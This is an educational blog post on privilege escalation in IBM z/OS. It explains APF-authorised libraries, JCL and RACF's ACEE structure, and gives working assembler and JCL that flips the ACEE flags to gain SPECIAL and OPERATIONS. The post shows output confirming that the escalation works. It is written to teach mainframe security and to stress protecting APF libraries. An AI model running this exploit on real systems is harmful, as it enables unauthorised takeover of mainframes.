Binary Exploitation for SPECIAL Occasions: Privilege Escalation in z/OS
by Alex Gassem
Introduction
While security on mainframes has become more well-documented for enthusiasts in recent years, there is still a lack of end-to-end explanations that tie together the different key concepts in mainframe security in a digestible way. The following post is intended to serve as a starting point for anyone interested in mainframe security so they can learn about low-level memory and binary exploit development.
Authorised vs. Unauthorised Programs
As part of the day-to-day operations of systems running on z/OS, certain programs require access to key system functions. These system functions are privileged and, if used by an inexperienced or malicious user, could lead to a severe violation of system availability or integrity.
z/OS uses the Authorised Program Facility (APF) to differentiate between APF-authorised programs that can access these key system functions, and unauthorised programs which cannot. APF-authorised programs must be stored in APF-authorised libraries, which are then defined in an APF list. The APF list for a given installation can be found in the System Display and Search Facility (SDSF) by entering the APF menu. An example of an APF list is shown below:
SDSF APF DISPLAY S0W1 S0W1 EXT 92 LINE 1-40 (87)
COMMAND INPUT ===> SCROLL ===> PAGE
NP DSNAME Seq VolSer Status BlkSize Extent SMS LRecL DSOrg
SYS1.LINKLIB 1 A4RES1 OK 32760 2 NO 0 PO
SYS1.SVCLIB 2 A4RES1 OK 32760 1 NO 0 PO
SYS1.SHASLNKE 3 A4RES1 OK 32760 1 NO 0 PO-E
SYS1.SIEAMIGE 4 A4RES1 OK 32760 1 NO 0 PO-E
SYS1.MIGLIB 5 A4RES1 OK 32760 1 NO 0 PO
SYS1.SERBLINK 6 A4RES1 OK 32760 1 NO 0 PO
SYS1.SIEALNKE 7 A4RES1 OK 32760 1 NO 0 PO-E
To edit the APF list, the extended MCS (EMCS) console can be used. This console allows users to issue MVS systems commands, and can be used to add or delete entries to and from the APF list. The EMCS console can be entered from TSO with the CONSOLE command, which will display a CONSOLE prompt rather than the usual READY prompt. Once in the console, the following commands can be used to add or delete a load library as an APF library respectively:
- SETPROG APF,ADD,DSNAME=new-apf-library,VOLUME=volume
- SETPROG APF,DELETE,DSNAME=old-apf-library,VOLUME=volume
Note that quotes should not be used around the data set name or the volume. If the change has been successful, a message similar to the one shown below should be displayed:
CONSOLE
SETPROG APF,ADD,DSNAME=ALEXGAS.MYLIBS.APFLIB,VOLUME=A4USR1
CONSOLE
CSV410I DATA SET ALEXGAS.MYLIBS.APFLIB ON VOLUME A4USR1 ADDED TO APF LIST
Once the changes have been made, the END command can be issued to exit the EMCS session. The changes can then be verified in SDSF in the APF menu where the FIND dataset-name command can be used to quickly filter the desired data set from the list.
To successfully execute the above SETPROG commands, they must be run from a console that is running with system authority (AUTH(SYS)) or higher. There may be additional restrictions due to the OPERCMDS class if the MVS.SETPROG profile exists, but this will vary from installation to installation.
The authorization level of a user’s console can be controlled by adding a profile matching the user’s RACF ID to the OPERCMDS class, and granting the user READ access to it. This is due to the console command defaulting the console’s name to the user’s RACF ID. For example, the default console profile for the ALEXGAS user ID would be MVS.MCSOPER.ALEXGAS.
Compiling an APF-authorised Program
Now let’s consider a scenario in which we as an attacker had obtained UPDATE access to an APF library and wanted to leverage this foothold to compile and run authorized code to escalate our privileges.
The first step would be to ensure that any programs we added to the library were able to access restricted system services. This can be done by setting their Authorization Code (AC) to a value between 1 and 255. A program with an AC of 0 will not be run as authorized. It is also worth noting that a non-zero AC code only takes effect when the program resides in an APF-authorized library. The current AC value of a program can be seen by inspecting the AC column in the output of the DSLIST command, as shown below:
Menu Functions Confirm Utilities Help
──────────────────────────────────────────────────────────────────────────────
VIEW SYS1.LINKLIB Row 0000001 of 0004262
Name Prompt Alias-of Size TTR AC AM RM
_________ ABA ARCABA 00004140 021123 00 31 24
_________ ACCOUNT IKJEFA00 00001430 09C712 00 24 24
_________ AD IRRENV00 00055BB0 0A910C 01 31 24
_________ ADDGROUP IRRENV00 00055BB0 0A910C 01 31 24
_________ ADDSD IRRENV00 00055BB0 0A910C 01 31 24
_________ ADDUSER IRRENV00 00055BB0 0A910C 01 31 24
_________ ADFGLUET ADFMDF01 000003C8 00151B 00 31 ANY
Fortunately, there are several ways to mark an assembly program such that the binder will set AC(1). The binder processes the program’s object code and resolves its memory addresses to point to where the instructions and data are. This process is called linkage-editing, or link-editing.
A preferred method is to use the SETCODE binder command as shown in the following JCL which assembles and link-edits an assembly program as AC(1) in an APF-authorised library.
//ASMCOMP JOB NOTIFY=&SYSUID,MSGLEVEL=(1,1),TIME=(0,20)
//*
//* ASMACL procedure compiles and link-edits our program
//*
//BUILD EXEC PROC=ASMACL
//C.SYSPRINT DD SYSOUT=*
//C.SYSLIB DD DSN=SYS1.SISTMAC1,DISP=SHR
// DD DSN=SYS1.MODGEN,DISP=SHR
// DD DSN=SYS1.MACLIB,DISP=SHR
//C.SYSIN DD DSN=ALEXGAS.SOURCE.ASM(SUPER),DISP=SHR
//L.SYSPRINT DD SYSOUT=*
//L.SYSLMOD DD DSN=ALEXGAS.MYLIBS.APFLIB(SUPER),DISP=SHR
//L.SYSIN DD *
SETCODE AC(1)
/*
Due to the level of privileges it grants, it is recommended that programs are only compiled with AC(1) if it is absolutely necessary for them to run as authorized and use privileged system functions to complete their task. If APF libraries contain many different programs with AC(1) when not required, then it could result in the abuse of these programs to gain elevated access to system resources as we will discuss later.
Job Control Language Breakdown
Before demonstrating how an AC(1) compiled binary can be abused to achieve SPECIAL privileges on the system, it is first important to understand the JCL code used. The first line of any JCL is the job card, which defines general parameters for the job such as:
- ASMCOMP: Job name (1-8 characters).
- NOTIFY=&SYSUID: Where the job completion message should be sent.
- &SYSUID: Variable that refers to the user ID under whose authority the job will run.
- MSGLEVEL=(1,1): How much output to save to the SPOOL.
- The first ‘1’ tells the system to print all statements.
- The second ‘1’ tells the system to print all messages.
- TIME=(0,20): The maximum time to allow for the job in minutes and seconds.
Within a job, programs and procedures are used to complete different operations. The use of these will be expanded on in more detail below.
After the job card, a series of steps are defined which will be run in succession. When defining a step, it is given a name (e.g: BUILD), as well as the program or procedure that is to be used in the job step (e.g: EXEC PROC=ASMACL).
Programs are specified using //stepname EXEC PGM=program. z/OS comes with programs called utilities that provide useful functionality such as IKJEFT01 (the TSO program), IEFBR14 (the ‘do almost nothing’ program), and IEWL (the binder program). It is sometimes necessary to specify a private library for the system to find the program by using a STEPLIB Data Definition statement (see below). This is required if the program is not located in the default system libraries (for example, a custom-written program is used for the job step).
On the other hand, procedures are similar to macros which can be used to expand a large amount of JCL without a user having to write it each time. They can be specified either using //stepname EXEC PROC=procedure or alternatively with //stepname EXEC procedure. The ASMACL procedure is used to assemble and link-edit an assembly program.
Data Definition (DD) Statements
If a program or procedure needs a data set for input or output, then each of the data sets required for the current step must be defined. These can be data sets that pass different kinds of input into the program, or data sets that store error dumps and general output from the program.
Data sets can be defined with Data Definition (DD) statements. These take the form of //dd-name DD parameters. While some programs use unique DD names, the following names are typically used by most programs:
- SYSIN: Used for runtime program input.
- //SYSIN DD DSN=MY.PROGRAM.PARMS,DISP=SHR
- SYSOUT: Destination for displayed data.
- //SYSOUT DD DSN=MY.PROGRAM.OUTPUT,DISP=SHR
- SYSPRINT: Destination for printed data.
- //SYSPRINT DD DSN=MY.PROGRAM.LOGS,DISP=SHR
Data sets are generally either defined to be sequential data sets (i.e: ‘files’), partitioned data sets (i.e: ‘folders’), in-stream data sets (i.e: STDIN in UNIX), or some output device like the spool. Different parameters are used to distinguish between these.
- In-stream data sets use the special * parameter to denote the beginning of the input stream as can be seen in the L.SYSIN DD statement, with /* acting as a delimiter to end the input stream.
- Sequential and partitioned data sets are defined using the DSN parameter. It is important to tell the system the status of the data set, as well as what actions should be taken if the step terminates abnormally or normally. This can be done with the disposition parameter that uses three sub parameters: DISP=(status, normal, abnormal). The data sets in the JCL excerpts already exist and may need to be used by other jobs, so the SHR (share) status was used. The default action taken for a pre-existing data set when the step terminates normally or abnormally is to KEEP it when those fields are omitted.
- On system initialization, several SYSOUT classes are defined and mapped to different output devices. SYSOUT=* requests that the same output class defined in the MSGCLASS parameter for the JOB statement is used, which is the spool in the above case.
Compile Step DD Statements
DD statements corresponding to the compilation step in the procedure are referred to with the C prefix. The source code is specified using C.SYSIN, while C.SYSLIB denotes the data sets which contain the definitions of different macros used in the assembly program.
LINK-EDIT Step DD Statements
The link-edit step has its DD statements referred to with the L prefix. The L.SYSLMOD DD statement describes where the program object should be stored. This must be a load library with RECFM=U, i.e: using records of undefined length. The L.SYSIN DD statement is used to pass binder control statements to set things such as the addressing mode or the authorisation code on the program object.
Getting SPECIAL
Now that we have gone over the JCL, let’s look at what needs to be done to gain SPECIAL privileges. The simplest way would be to use the ALTUSER command. This command can be used to assign different privileged attributes to a user such as SPECIAL, OPERATIONS, AUDITOR and ROAUDIT. However, the SPECIAL attribute is required to use these ALTUSER operands in the first place.
Alternatively, we can find which memory address is referenced to check SPECIAL authorisation, alter it, and then use the ALTUSER command to make the change permanent on our RACF profile. We need to still use the ALTUSER command as any changes that are made to memory during the program’s execution will be reset once the job finishes.
Accessor Environment Element
When a user attempts to use a command or access a certain resource, RACF references the accessor environment element (ACEE) to determine whether the user is authorised. This is a 192 byte block that contains a variety of security information, including the current user ID and group name.
The most relevant part is the user flag bitstring at offset 0x26 which uses a series of bits to determine the following settings for the user:
- Bit 1: SPECIAL.
- Bit 2: Automatic data security protection.
- Bit 3: OPERATIONS.
- Bit 4: AUDITOR.
- Bit 5: Audit user actions.
- Bit 6: ROAUDIT.
- Bit 7: PRIVILEGED started procedure.
- Bit 8: RACF-defined user.
Therefore, to get the most powerful combination of user flags, bits 1, 3, 4 and 8 should be flipped on to get the highest privilege possible.
Accessing the ACEE
The ACEE can be found by following pointers defined in other memory blocks that are used by the system. Since we cannot access the ACEE directly, we need to work backwards through the following memory areas:
• The Address Space Extension Block (ASXB) is a 776 byte block that contains information for address space control. Offset 0xC8 holds a pointer to the ACEE.
• The Address Space Control Block (ASCB) is a 384 byte block that contains similar address space information to the ASXB except it is non-swappable. Offset 0x6C contains a pointer to the ASXB.
• The Prefixed Save Area (PSA) is a 4096 byte block that contains storage locations for the processor starting at location 0x0. Offset 0x224 contains a pointer to the current ASCB.
Putting these pointers together:
Modifying the ACEE
Unfortunately, there is one final hurdle to cross before this exploit can be put into practice. Even if a program is authorised, it does not automatically allow for the ACEE to be modified. To do so, the executing program must be in key 0 where the ACEE resides, and run in the supervisor state.
Typically, programs will run in the problem state which provides access to most of the general-purpose instructions needed. However, a small set of privileged instructions called Supervisor Call instructions (SVCs) are only able to be used in the supervisor state.
There are sixteen storage access keys, and for keys 1-15, a program can only access the storage area that has a matching key. However, a program with key 0 can access all addressable storage. Fortunately, if a program is authorised it can easily switch to the supervisor state and to key 0 using a single macro instruction (MODESET).
Now that we have laid the foundation of what our program needs to do, the source code can be written. The code has been included below:
SUPER CSECT # Mark as executable.
STM 14,12,12(13) # Store stack contents.
BALR 12,0 # Establish addressability by
USING *,12 # storing base addr in base reg.
*
* FLIP ACEE USER FLAGS
*
MODESET KEY=ZERO,MODE=SUP # switch to supervisor mode and set the key value to 0
L 5,X'224' # go to ASCB
L 5,X'6C'(5) # go to ASXB
L 5,X'C8'(5) # go to ACEE
NI X'26'(5),X'00' # clear ACEE user flags
OI X'26'(5),X'B1' # flip for priv esc
BR 14 # return
END
The full details of each instruction can be read in the z/Assembly Principles of Operation. The program begins by initiating the executable control section for the subroutine with CSECT. It then stores the contents of the current save area (i.e: stack) and establishes a base register for the program.
The actual exploit begins with line 8 that uses the MODESET instruction to enter supervisor mode with data access key 0. The PSA begins at address 0x0, so to access the PSAAOLD pointer to the ASCB, the hex offset can simply be used as an absolute address which we load into register 5. Then, using register 5 as a base register, we add 0x6C to get the offset for the ASCBASXB pointer to the ASXB block that is written into register 5 again. Finally, the same method is used to add 0xC8 resulting in the offset for the ASXBSENV pointer to the ACEE block, loading this address into register 5.
The user flags are reset by doing a bitwise AND operation over the bitstring located at offset 0x26 (from the address in register 5) with a series of binary 0s, before flipping bits 1, 3, 4 and 8 using a bitwise OR operation. This corresponds to the byte 0x10110001 which in hex can be represented by 0xB1.To finish the routine, control is passed back to the caller by branching to the instruction in register 14.
Testing the Exploit
To test the exploit, the following JCL was used:
//PRIVESC JOB NOTIFY=&SYSUID,MSGLEVEL=(1,1),TIME=(0,20)
//*
//* TEST IF WE CAN GET SPECIAL BEFORE AUTH CODE EXECUTION
//*
//TESTSTEP EXEC PGM=IKJEFT01
//SYSTSPRT DD SYSOUT=*
//SYSTSIN DD *
ALU ALEXGAS SPECIAL OPERATIONS
/*
//*
//* RUN OUR APF AUTH CODE TO FLIP ACEE BITS
//*
//FLIPBITS EXEC PGM=SUPER
//STEPLIB DD DSN=ALEXGAS.MYLIBS.APFLIB,DISP=SHR
//*
//* ALTER RACF PROFILE TO GET SPECIAL AND OPERATIONS
//*
//PRIVESC EXEC PGM=IKJEFT01,COND=EVEN
//SYSTSPRT DD SYSOUT=*
//SYSTSIN DD *
ALU ALEXGAS SPECIAL OPERATIONS
/*
The first step assigns SPECIAL and OPERATIONS to our user ID. We should receive an error message which informs us that we are unauthorised to use those operands. In the subsequent step we run our exploit, making sure we include the APF authorised library where it was compiled in the STEPLIB so that the system can find it. Finally, we run the same TSO command to give our user higher privileges in RACF. In this step we use COND=EVEN to indicate that the step should be executed even if the previous step ABENDs due to our modifications of memory.
After running the JCL, the following output was shown for the TESTSTEP:
READY
ALU ALEXGAS SPECIAL OPERATIONS
ICH21005I NOT AUTHORIZED TO SPECIFY OPERATIONS/NOOPERATIONS, OPERAND IGNORED.
ICH21005I NOT AUTHORIZED TO SPECIFY SPECIAL/NOSPECIAL, OPERAND IGNORED.
READY
END
The system informs us that it could not complete the operation due to lack of authorisation on the part of our user. On the other hand, for the PRIVESC step, the command completes successfully with no error message as shown below:
READY
ALU ALEXGAS SPECIAL OPERATIONS
READY
END
The successful privilege escalation can be verified by listing our user in TSO:
USER=ALEXGAS NAME=ALEX GASSEM OWNER=LEANDRO CREATED=22.248
DEFAULT-GROUP=USER PASSDATE=22.342 PASS-INTERVAL=180 PHRASEDATE=N/A
ATTRIBUTES=SPECIAL OPERATIONS
[...REDACTED...]
Non-APF Authorised Version
Let’s say the same code was run in a non-APF authorised library, what would the result look like?
Firstly, it is worth noting that it is possible to compile programs with AC(1) and place them in a non-APF authorised library. This can be confirmed with the below extract:
VIEW ALEXGAS.MYLIBS.NOAPFLIB Row 0000001 of 0000004
Name Prompt Alias-of Size TTR AC AM RM
[...SNIP...]
_________ SUPER 00000028 000329 01 24 24
**End**
However, it will not run authorised since the program is not in an APF-authorised library. If we run the same JCL as before but with the version of the program in the non-APF authorised library, there are two main differences. The first is that the batch job ABENDs, and the second is that the output received for the final step is as follows:
READY
ALU ALEXGAS SPECIAL OPERATIONS
ICH21005I NOT AUTHORIZED TO SPECIFY OPERATIONS/NOOPERATIONS, OPERAND IGNORED.
ICH21005I NOT AUTHORIZED TO SPECIFY SPECIAL/NOSPECIAL, OPERAND IGNORED.
READY
END
This shows that the program to flip the user flags in ACEE did not successfully complete. To gain some more insight, we can look at the logs in the spool where we find the following register dump:
IEA995I SYMPTOM DUMP OUTPUT
SYSTEM COMPLETION CODE=047
TIME=06.03.19 SEQ=01397 CPU=0000 ASID=001B
PSW AT TIME OF ERROR 078D0000 00007FE4 ILC 2 INTC 6B
ACTIVE MODULE ADDRESS=00000000_00007FD8 OFFSET=0000000C
NAME=SUPER
DATA AT PSW 00007FDE - A718003C 0A6B5850 02245855
GR 0: 00000064 1: 0000003C
2: 00000040 3: 008DBD64
4: 008DBD40 5: 008F81A0
6: 008CAFC8 7: 00F51D00
8: 008FE830 9: 008F83E8
A: 01D83600 B: 00000001
C: 40007FDE D: 00006F60
E: 80FD4608 F: 00007FD8
END OF SYMPTOM DUMP
Our program, SUPER, ABENDed with system code 047. Referring to IBM’s documentation, we see that this is raised if “an unauthorised program issued a restricted Supervisor Call (SVC) instruction”. Therefore, it is clear that under normal circumstances, authorised code must reside in an APF-authorised library even if it can be successfully compiled with AC(1).
Conclusion
This blogpost has hopefully shown why APF-authorised libraries are extremely sensitive data sets. Excessive UPDATE or CONTROL access can result in the compromise of the mainframe as a whole by leveraging the techniques shown above. Other attack vectors exist which attackers can leverage to elevate their privileges, such as programs that support custom exits being placed in the AUTHTSF table, but these are out of scope for this introduction.
Related content
The Hidden Depths of Mainframe Application Testing: More Than (Green) Screen-Deep
This blog post provides an overview of some common mainframe application vulnerabilities that we have observed during client engagements. It describes how these vulnerabilities often have unexpected implications. Then further highlights the importance of properly structured in-depth mainframe application security assessments.
Read more